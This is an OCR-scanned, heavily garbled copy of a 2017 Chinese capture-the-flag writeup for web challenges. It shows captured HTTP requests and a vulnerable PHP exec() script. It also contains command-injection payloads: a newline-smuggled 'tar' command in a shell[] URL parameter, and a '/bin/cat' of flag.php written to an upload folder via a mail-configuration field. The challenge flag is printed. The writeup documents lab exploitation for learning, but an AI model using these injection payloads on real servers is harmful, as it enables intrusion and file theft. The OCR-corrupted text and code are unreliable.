360F KA writeup

Ni9htMar3 F 2017-04-23 12:13:39 KA 1127 R 1

RERE: WriteUp L EHRZS:  writeup cff
WA B : ACAHE R EAISCE, 5 CC 4.0 BY-SA MRALTML, 83 b JF S ab s,

AHEE: https://blog.csdn.net/Ni9htMar3/article/details/70495395
KA

WriteU EUSTA AN
17 /R 3CE 0 15
£
XEBRSMEOEREZR—KEE. . . REBENEREAwebfIMAFERM, BEXHAIBRLHTRITFHEEEK, &
nh

WEB
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GET / HITP/1.1

Host: 106, 75.34. 78

Comnection: close

Cache-Control: maz—age=0

Upgrade-Insecure-Requests: 1

User—igent: Mozilla/5.0 (Windows HT 10.0; Win64; z64)
AppleWekKit/537. 36 (KHTML, like Gecko) Chrome/56.0.2924. 87
Safari/537.36

Accept:

text/htnl, application/zhtnl+xnl, application/znl  g=0. 9, inage/wehp
Jd S =0, 8

Accept-Encoding: gzip, deflate, sdch, br

Accept-Language: zh-CN, zh;q=0. 8

Cockie: PHPSESSID=tBcfnTlkbS44rse9fdiugldenZ; HOST=0
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SHA-256 #5&¢ D8:EC:09:78:7D:34:84:05:BE:91:02:B4:02:5E:E7:39:
G4:AQ0:TE:AF:25:9E:20:97:F3:8D:80:C0:24:C9:35F:00
SHAT1 58 02:EA:6F:04:EB:AB:13:04:BA:43:81:FA:22:E5:86:6C. 79 A4:AZFT
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Raw | Headers | Hex HTMLTRender}

(GET / HTTP/1.1 % | I
Host: 106.75. 34. 78 i MM A . RIRETAQ. WIRIRBIIRAIN, TR lagiibIR. 1
Comnection: close
Cache—Control: nax-age=0 FR A A TRARAT ZENE ) 0 — S T B A5 o R A0 . SPRA S 4, WG b B AT
Upgrade-Insecure-Requests: 1 k!
User—Agent: MNozilla/5.0 (Vindows NT 10.0; Vin64; =64) AppleWebEit/337.36
(KHTHL, like Gecko) Chrome/56.0.2924.87 Safari/537. 36 T o SRR AR A, A AV PR IR PR
Accept:
text/htnl, application/xhtnl+xml, application/xnl; q=0. 9, inage/webp, */*; ¢=0. 8
Accept—Encoding: gzip, deflate, sdch, br <fdive
Accept-Language: zh—CH, zh; g=0. 8 <fli»
Cookie: PHPSESSID=tsr33b0coTgbgterhdnlvebsiT; HOST=where_is_mv_cat. ichungiu. con
<ful>
<fdive
<fdiv><!-- fcontainer —->
<seript type="text/javascript” src="js/classie. js"»<{/script>
<script type="text/javascript” sre="js/sliderFx. js"></script>
<seript type="text/javascript”>
(function() {
new SliderFx{ document. getElementBvId( slideshow’), |
easing : " cubic—hezier(.8,0,.2,1)’ ()
|
No;
<fscript>
</body>
</htnl>
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HFa ATphpii 4, BATEAN—/MEES S0, HbEAE /tmp/xxx , HBELRZ /var/www/html/tmp/haha/haha.php
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@ Load URL | http://106.75.34.78:2081/exec.php?shell[]=1%0a&shell[]=tar&shell[]=cvf&shell[]= pathvarpathwwwpathhtmlpathtmppathhaha&shell[] = pathvarpathwwwpathhtml
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Execute

[] Enable Post data [_] Enable Referrer
@z~ LcCookies™ £ CSSv [A==- @WERY ORmss- @ty Jmicy FEir ATS- @BEEERE MaEm O O @

<?php
highlight file(_FILE );
$dir = "tmp/ ;
if(1file exists(8dir))
mkdir (8dir) ;
chdir (8dir) ;
if (lisset ($_GET[ shell’ 1)) {
phpinfo() ;
exit();
$shell = $_GET[ shell 1
for ( $i=0; $i<count(8shell); §i++ ){
if ( lpreg_match(/ \w+$/, $shelll8il) )
exit();
session start();
Spath = $_SESSION[ path ];
$shell = str_replace( path’,” /. $path, implode(” 7, $shell));
echo $shell;
exec (“/bin/hence “ . $shell):
Fe

1 tar cvf /var/www/html/tmp/haha /var/www/html
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Raw | Headers | Hex

POST /options. php?action=save HITP/1.1

Host: 106.75.106.158

Content-Length: 154

Cache-Control: maz—age=0

Origin: http://106. 75, 106. 156

Upgrade-Insecure-Requests: 1

User—Agent: Mozilla/5.0 (Vindows NT 10.0; Win64, x64) AppleWebKit/537.36
(KHTNL, like Gecko) Chrome/56.0.2924. 87 Safari/537.36

Content—Type: application/z—www—formn—urlencoded

Aeocept:

text/htnl, application/zhtnl+xnl, application/znl; g=0. 9, inage/webp, */*; g=0. &
Referer: http://106.75. 1068, 136/options. php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0. 8

Cookie: PHPSESSID=fs0Ohgn4rurhpjuddpSkptrbl125

Comnection: close

config[root_pathl=/var/wwv/htnl&config[send naill=
=0 |} /binfeat fvar/www/htnl/flag. php > /var/

x@nail. conkeonfig[tinezone]
w/htnl /upload/night. txt

<?php
#flag {5867e627-289f-45e2-9a66-22ee8b68eb46}

O

HITP/1.1 200 OK

Date: Fri, 21 Apr 2017 13:40:08 GNT

Server: Apache/Z2.2.15 (Cent0S)

Expires: Thu, 19 Nov 1981 08:32:00 GNT

Cache—Control: no-store, no—cache, must-revalidate, post—check=0, pre-check=0
Pragma: no—cache

Content-Length: 57

Connection: close

Content-Type: text/html: charset=utf-8

<zeriptralert C AT 7)) jhistory. go(—1) ;</script>
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